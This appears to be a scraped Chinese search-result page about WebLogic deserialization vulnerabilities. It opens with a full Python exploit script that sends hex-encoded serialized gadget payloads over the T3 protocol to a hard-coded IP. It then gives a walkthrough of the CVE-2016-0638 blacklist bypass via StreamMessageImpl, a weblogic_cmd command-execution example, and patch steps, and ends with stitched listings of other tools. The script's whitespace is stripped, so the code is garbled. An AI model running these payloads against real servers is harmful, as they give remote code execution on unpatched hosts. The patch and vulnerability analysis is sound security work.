  • weblogic的利用漏洞工具请立即获取iTunes CVE_2015_4852 CVE_2016_0638 CVE_2016_3510 CVE_2017_10271 CVE_2017_3248 CVE_2018_2628 CVE_2018_2893 CVE_2018_2894 CVE_2018_3252 CVE_2018_3191 CVE_2018_3245 CVE_...
  • # -*- coding: utf-8 -*-importsocketimporttimeimportre## @author iswin@threathunter.org# reffer: nessus#VUL=['CVE-2016-0638','CVE-2016-3510','CVE-2017-3248']PAYLOAD=['aced0005737200257765626c6f6769632e...

    # -*- coding: utf-8 -*-importsocketimporttimeimportre## @author iswin@threathunter.org# reffer: nessus#VUL=['CVE-2016-0638','CVE-2016-3510','CVE-2017-3248']PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a0000018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78','aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b427870b6f794cf757200025b42acf317f8060854e0020000787000000130aced00057372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000001767200106a6176612e6c616e672e53797374656d00000000000000000000007870','aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078']VER_SIG=['weblogic.jms.common.StreamMessageImpl','org.apache.commons.collections.functors.InvokerTransformer','\\$Proxy[0-9]+']deft3handshake(sock,server_addr):sock.connect(server_addr)sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))time.sleep(1)sock.recv(1024)print'handshake successful'defbuildT3RequestObject(sock,port):data1='000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'data2='007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))data3='1a7727000d3234322e323134'data4='2e312e32353461863d1d0000000078'fordin[data1,data2,data3,data4]:sock.send(d.decode('hex'))time.sleep(2)print'send request payload successful,recv length:%d'%(len(sock.recv(2048)))defsendEvilObjData(sock,data):payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'payload+=data payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'payload='%s%s'%('{:08x}'.format(len(payload)/2+4),payload)sock.send(payload.decode('hex'))time.sleep(2)sock.send(payload.decode('hex'))res=''try:whileTrue:res+=sock.recv(4096)time.sleep(0.1)exceptExceptionase:passreturnresdefcheckVul(res,server_addr,index):p=re.findall(VER_SIG[index],res,re.S)iflen(p)>0:print'%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])else:print'%s:%d is not vul %s'%(server_addr[0],server_addr[1],VUL[index])defrun(dip,dport,index):sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整sock.settimeout(15)server_addr=(dip,dport)t3handshake(sock,server_addr)buildT3RequestObject(sock,dport)rs=sendEvilObjData(sock,PAYLOAD[index])checkVul(rs,server_addr,index)if__name__=="__main__":dip='192.168.195.210'dport=7008foriinrange(0,len(VUL)):run(dip,dport,i)

    展开全文
  • weblogic漏洞分析之CVE-2016-0638 一、环境搭建: 这里使用前一篇文章的环境,然后打上补丁 上一篇文章:https://www.cnblogs.com/yyhuni/p/15137095.html 下载补丁p20780171_1036_Generic和p22248372_1036012_...

    weblogic漏洞分析之CVE-2016-0638

    一、环境搭建:

    这里使用前一篇文章的环境,然后打上补丁

    上一篇文章:https://www.cnblogs.com/yyhuni/p/15137095.html

    1. 下载补丁p20780171_1036_Generic和p22248372_1036012_Generic
    2. 解压补丁后,复制补丁到Docker中:
    docker cp ./p22248372_1036012_Generic/ d1b6be39e32e:/home/
    docker cp ./p20780171_1036_Generic d1b6be39e32e:/home/
    
    1. 安装补丁:
    docker exec -it d1b6be39e32e /bin/bash
    cd /root/Oracle/Middleware/utils/bsu
    mkdir cache_dir
    cp /home/p20780171_1036_Generic/* ./cache_dir/
    cp /home/p22248372_1036012_Generic/* ./cache_dir/
    vi bsu.sh   编辑MEM_ARGS参数为1024
    ./bsu.sh -install -patch_download_dir=/root/Oracle/Middleware/utils/bsu/cache_dir/ -patchlist=EJUW -prod_dir=/root/Oracle/Middleware/wlserver_10.3 -verbose
    ./bsu.sh -install -patch_download_dir=/root/Oracle/Middleware/utils/bsu/cache_dir/ -patchlist=ZLNA -prod_dir=/root/Oracle/Middleware/wlserver_10.3 -verbose
    
    1. 重启服务:
    docker restart d1b6be39e32e
    

    这时候,使用原先的poc已经是失效了,说明补丁成功打上

    二、补丁分析

    配置好weblogic的远程调试端口后,复制jar包,导入idea

    详细步骤看前面一篇文章:https://www.cnblogs.com/yyhuni/p/15137095.html

    补丁位置:

    weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
    weblogic.rjvm.MsgAbbrevInputStream.class
    weblogic.iiop.Utils.class
    

    第一个位置在InboundMsgAbbrev中,新增了个判断

    image-20210815220532722

    重点在ClassFilter.isBlackListed判断是否存在黑名单中,跟进方法

    image-20210815225307222

    方法isBlackListed中对className和pkgName都进行了黑名单判断,匹配到了则返回true。黑名单list

    image-20210815225013787

    在值为org.apache.commons.collections.functors.ChainedTransformer时候抛出了异常

    image-20210815225512109

    补丁的第二个位置MsgAbbrevInputStream也是做了同样的判断

    image-20210815225632794

    现在来进行一遍流程分析,先看下之前的整个调用栈

    img

    POC伪造的T3协议数据包,发送到服务器,服务器反序列化处理到了InboundMsgAbbrev#readObject方法中

    image-20210815235957543

    switch分发节点,到了case0中,调用了(new InboundMsgAbbrev.ServerChannelInputStream(in))readObject方法来进行的反序列化

    计算得出为InboundMsgAbbrev类中的一个内部类ServerChannelInputStream

    image-20210816000107816

    以下是ServerChannelInputStream类的继承图

    image-20210816000425993

    其继承了ObjectInputStream,并重写了resolveClass方法

    image-20210816002224971

    weblogic反序列化类时候调用的是ServerChannelInputStreamreadObject方法,而在执行到resolveClass方法的时候调用的是ServerChannelInputStream重写的resolveClass方法,在方法中对其做了黑名单过滤导致无法执行后面的readObjectreadExternalreadResolve方法。

    三、绕过黑名单

    要想绕过黑名单,则需要寻找一个不在黑名单的类。要知道,ObjectInputStream在执行readObject方法的时候,除了会调用反序列化类的readObject方法外,还会调用readExternalreadResolve,详细调用过程可以看https://www.cnblogs.com/yyhuni/p/15127416.html

    所以weblogic.jms.common.StreamMessageImpl类就被挖掘了出来。其StreamMessageImpl#readExternal中,会调用var5的readObject方法,而var5是一个ObjectInputStream对象

    image-20210816202447836

    四、漏洞分析

    攻击机

    这里使用weblogic_cmd构造的poc:https://github.com/5up3rc/weblogic_cmd

    -H "192.168.202.129" -C "touch /tmp/success" -B -os linux
    

    这里把CC1的利用链,进行了序列化后传入了streamMessageImpl方法

    image-20210816203509390

    跟进streamMessageImpl方法,new了一个StreamMessageImpl对象,这个对象也就是构造payload的关键,然后把序列化转换后的byte数组传入了setDataBuffer方法

    image-20210816203734577

    跟进setDataBuffer,对this.bufferthis.length进行了赋值操作

    image-20210816203953967

    随后把获得的StreamMessageImpl对象又进行了一次序列化操作(序列话后的payload传入对象,再把对象进行了序列化)

    image-20210816204039904

    StreamMessageImpl对象序列化会调用writeExternal方法

    image-20210816204211519

    StreamMessageImpl对象的writeExternal方法中进行了重写,把之前的payload给write进了ObjectOutputStream对象中

    image-20210816205329212

    最后返回给了byte[] payload,然后进行了T3协议构造并且发送给了服务器

    image-20210816205531249

    服务端

    在服务端接受到payload,随后进行了反序列化操作,跳转到InboundMsgAbbrev#resolveClass方法中,进行黑名单判断

    image-20210816210055983

    黑名单中并没有StreamMessageImpl这个类,返回false,走入else中

    image-20210816210228053

    接下来就会到StreamMessageImpl#readExternal方法

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ffDBVOZe-1629189551265)(C:\Users\asus\AppData\Roaming\Typora\typora-user-images\image-20210816210356974.png)]

    switch中由前面构造payload时候写入,case为1

    image-20210816210503659

    此时的var4就是CC1的承载了payload的AnnotationInvocationHandler序列化后的BufferInputStream

    image-20210816210724953

    最后调用了var5.readObject就触发了AnnotationInvocationHandler#readObject方法了

    image-20210816210952349

    总结

    在这里用了StreamMessageImpl类来绕过黑名单检查,把AnnotationInvocationHandler序列化后通过重写的writeExternal方法给write进了ObjectOutputStream对象中,调用StreamMessageImpl类的readExternal传入了参数并执行了参数的readObject方法从而触发了调用链

    参考:https://xz.aliyun.com/t/8443

    展开全文
  • 2018最新weblogic反序列化漏洞补丁包

    热门讨论 2018-05-22 19:30:11
    在p27395085_1036_Generic补丁的基础上再打上27453773_1036_Gener,解决CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2628
  • Weblogic反序列化远程代码执行漏洞(CVE-2018-2893)以及安装步骤
  • 含p20780171_1036_Generic.zip、p22248372_1036012_Generic.zip、测试工具Test.jar
  • weblogic 漏洞统计 CVE

    2019-09-18 10:03:23
    6.CVE-2016-0638 7.CVE-2015-2623 8.CVE-2015-4744 9.CVE-2014-2480 10.CVE-2014-2481 11.CVE-2014-4256 12.CVE-2014-4242 13.CVE-2014-4253 14.CVE-2014-4267 15.CVE-2014-4255 16.CVE-2014-4254 17.CVE-2014-...
  • Weblogic相关漏洞

    2021-02-05 19:21:09
    Weblogic介绍 WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于 JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web 应用、网络应用和数据库应用的Java应用...
  • Weblogic_cmd_plus 漏洞信息 *表示利用此漏洞时,目标计算机不需要在网络之外 CVE型 WeblogicVersion 限制 依存关系 CVE-2015-4852 * 10.3.6.0、12.1.2.0、12.1.3.0、12.2.1.0 没有任何 没有任何 CVE-2016-0638 *...
  • weblogicScaner截至 2020 年 3 月 7 日,weblogic 漏洞扫描工具。若存在未记录且已公开 POC 的漏洞,欢迎提交 issue。原作者已经收集得比较完整了,在这里做了部分的 bug 修复,部分脚本 POC 未生效,配置错误等问题...
  • 一.weblogic简介 WebLogic是美国Oracle公司出品的一个application server确切的说是一个基于JAVAEE架构的中间件,BEA WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用...
  • weblogic漏洞总结复现

    2021-10-07 17:11:44
    title: weblogic漏洞总结复现 date: 2021-10-02 22:05:37 updated: tags: weblogic 中间件 漏洞 categories: 漏洞复现 keywords: description: top_img: cover: weblogic.jpg 简介 WebLogic是美国Oracle公司出品...
  • Weblogic漏洞利用总结

    2021-10-28 10:35:54
    weblogic前言一、pandas是什么?二、使用步骤1.引入库2.读入数据总结 前言 提示:这里可以添加本文要记录的大概内容: 例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,...
  • 作者:Badcode@知道创宇404实验室漏洞简介2018年4月18日,Oracle官方发布了4月份的安全补丁更新CPU(Critical Patch Update),更新中修复了一个高危的 WebLogic 反序列化漏洞CVE-2018-2628。攻击者可以在未授权的情况...
  • webLogic漏洞目录

    2020-04-21 23:12:19
    WebLogic漏洞复现与分析 1:webLogic漏洞列表 控制台路径泄露 Weakpassword ...CVE-2016-0638 CVE-2016-3510 CVE-2017-3248 CVE-2018-2628 CVE-2018-2893 任意文件上传 CVE-2018-2894 XMLDecoder反序列...
  • 具有IIOP的CVE-2020-2551 Weblogic RCE 0x01默认启用IIOP 0x02 Poc演示
  • weblogic unserialize exploit ...根据网上和自己测试的weblogic反序列化漏洞,完善了CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2628和CVE-2018-2893的批量检测脚本(weblogic_check_vuls.
  • weblogic反序列化基本概念

    千次阅读 2019-12-03 10:01:27
    如图,weblogic反序列化在利用过程中,主要考虑四个部分 Deliver_way :payload通过什么方式传入服务器 Payload:payload是什么格式,xml本身即为序列化对象,可直接反序列化。ysoserial生成的payload,为序列化...
  • WebLogic 组件反序列化漏洞升级方法,由于补丁有些大,已经分成多个包上传到我的资源里了。
  • WebLogic Java反序列化漏洞终极建议

    万次阅读 2018-09-25 13:01:56
    title: WebLogic Java反序列化漏洞终极建议 author: rocklei123 tags: Java WebLogic categories: Spring date: 2018-09-25 09:27:33 0. 概述: 本文针对这几年来WebLogic软件经常报出的java反序列化漏洞问题进行...
  • Oracle® WLS Patch Set Update 10.3.6.0.200714 README ... Oracle recommends that you see following key notes - My Oracle Support NOTE: 1306505.1 Announcing Oracle WebLogic Server PSUs (Patch Set Updates) ...
  • (o ‵-′)ノ”(ノ﹏本工具仅用于安全测试,请勿用于非法使用,要乖哦~V 1.3功能介绍:提供一键poc检测,收录几乎全部weblogic历史漏洞。详情如下:#控制台路径泄露Console#SSRF:CVE-2014-4210#JAVA反序列化CVE-...

空空如也

空空如也

1 2 3 4 5 6
收藏数 106
精华内容 42
关键字:

weblogic0638